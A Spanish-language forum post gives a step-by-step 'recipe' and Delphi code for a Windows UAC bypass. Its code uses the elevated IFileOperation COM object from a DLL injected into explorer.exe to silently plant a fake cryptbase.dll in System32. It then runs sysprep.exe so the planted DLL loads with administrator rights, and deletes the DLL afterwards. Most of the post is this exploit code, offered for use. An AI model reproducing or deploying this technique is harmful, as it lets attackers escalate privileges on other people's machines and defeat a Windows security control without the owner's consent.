receta:
lean y aprendan como funciona este metodo[Enlace externo eliminado para invitados]
si leyeron y entendieron entonces:
1.crean una dll (cryptbase.dll) falsa que contendra nuestro codigo a ejecutar
1.colocan las funciones dadas mas abajo en una dll (no confundir esta dll es la que se inyecta)
2.crean un ejecutable que inyecte esta dll en explorer y luego descuelgan la dll del proceso
con una inyeccion directa se simplifica este codigo, pero realmente para el que no entiende (como es mi caso)mejor dejar que windows se encarge del trabajo.
Código: Seleccionar todo
//bypass uac 2013 funciones utilizadas en inyeccion dll
//creado por jose alias muy ofuscado extraido de todos los codigos que encontre en la web
//¡el que busca encuentra!
type
PBindOpts3 = ^TBindOpts3;
{$EXTERNALSYM tagBIND_OPTS3}
tagBIND_OPTS3 = record
cbStruct: DWORD;
grfFlags: DWORD;
grfMode: DWORD;
dwTickCountDeadline: DWORD;
dwTrackFlags: DWORD;
dwClassContext: DWORD;
locale: LCID;
pServerInfo: Pointer;
hwnd: hwnd;
end;
TBindOpts3 = tagBIND_OPTS3;
{$EXTERNALSYM BIND_OPTS3}
BIND_OPTS3 = TBindOpts3;
var
pFileOp : IFileOperation;
pSHISource : IShellItem;
pSHIDestination : IShellItem;
pSHIDelete : IShellItem;
szEIFOMoniker :widestring;
pIID_EIFO : TGUID;
pIID_ShellItem : TGUID;
pIID_ShellItem2 : TGUID;
bo : TBindOpts3;
**************************************************
function deletefil (szElevDllFull:string):hresult;
begin
if (CoInitialize (NIL) <> S_OK) then
bo.cbStruct := SizeOf(BIND_OPTS3);
bo.dwClassContext := CLSCTX_LOCAL_SERVER;
szEIFOMoniker := ('Elevation:Administrator!new:{3ad05575-8857-4850-9277-
11b85bdb8e09}');
pIID_EIFO := iFileOperation;
pIID_ShellItem2 := iShellItem2;
if (CoGetObject (pwidestring(szEIFOMoniker),@bo, pIID_EIFO, @pFileOP) = S_OK) and
(pFileOp <> NIL) and
(pFileOp.SetOperationFlags (FOF_NOCONFIRMATION or FOF_SILENT or FOFX_SHOWELEVATIONPROMPT or
FOFX_NOCOPYHOOKS or FOFX_REQUIREELEVATION or FOF_NOERRORUI) = S_OK) and
(SHCreateItemFromParsingName(pwidechar(szElevDllFull), Nil, IID_iShellItem,pSHIDelete)=S_OK) THEN
if ( pFileOp.DeleteItem(pSHIDelete, NIL)= S_OK) THEN
if (pFileOp.PerformOperations = S_OK) then
begin
end;
CoUninitialize;
result:=0;
end;
********************************************************
function copyfil (szSourceDll,szElevDir:string):hresult;
begin
if (CoInitialize (NIL) <> S_OK) then
bo.cbStruct := SizeOf(BIND_OPTS3);
bo.dwClassContext := CLSCTX_LOCAL_SERVER;
szEIFOMoniker := ('Elevation:Administrator!new:{3ad05575-8857-4850-9277-
11b85bdb8e09}');
pIID_EIFO := iFileOperation;
pIID_ShellItem := iShellItem;
if (CoGetObject (pwidestring(szEIFOMoniker),@bo, pIID_EIFO, @pFileOP) = S_OK) and
(pFileOp <> NIL) and
(pFileOp.SetOperationFlags (FOF_NOCONFIRMATION or FOF_SILENT or FOFX_SHOWELEVATIONPROMPT or
FOFX_NOCOPYHOOKS or FOFX_REQUIREELEVATION or FOF_NOERRORUI) = S_OK) and
(SHCreateItemFromParsingName(pwidechar(szSourceDll), NIL, pIID_ShellItem, pSHISource) = S_OK) and
(pSHISource <> NIL) and
(SHCreateItemFromParsingName(pwidechar(szElevDir), NIL, pIID_ShellItem, pSHIDestination) = S_OK)
and
(pSHIDestination <> NIL) and
(pFileOp.CopyItem(pSHISource, pSHIDestination, nil, NIL) = S_OK) and
(pFileOp.PerformOperations = S_OK) then
begin
end;
CoUninitialize;
result:=0;
end;
**********************************************************************************
function ExecAndWait(Filename,dir: String): boolean;
var
Shinfo: SHELLEXECUTEINFO;
ExitCode:DWORD;
begin
FillChar(ShInfo, SizeOf(ShInfo), 0);
Shinfo.cbSize := sizeof(SHELLEXECUTEINFO);
Shinfo.fMask := SEE_MASK_NOCLOSEPROCESS; //SEE_MASK_NO_CONSOLE:
Shinfo.lpFile := PChar(Filename);
Shinfo.lpParameters := nil;//PAnsiChar(AnsiString(Params));
Shinfo.lpDirectory := pchar(dir);//PChar(ExtractFileDir(Filename));
Shinfo.nShow :=sw_show;
ShellExecuteEx(@Shinfo);
try
repeat
ExitCode := WaitForSingleObject(SHInfo.hProcess,INFINITE);
until (ExitCode <> WAIT_TIMEOUT);
result:=true;
finally
end;
end;
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
//funciones utilizadas en mi dll que inyecto en explorer.exe
//copyfil----------->copio archivo cryptbase a system32\
// ExecAndWait---------->ejecuto sysprep.exe y espero a que termine
// deletefil---------->elimino cryptbase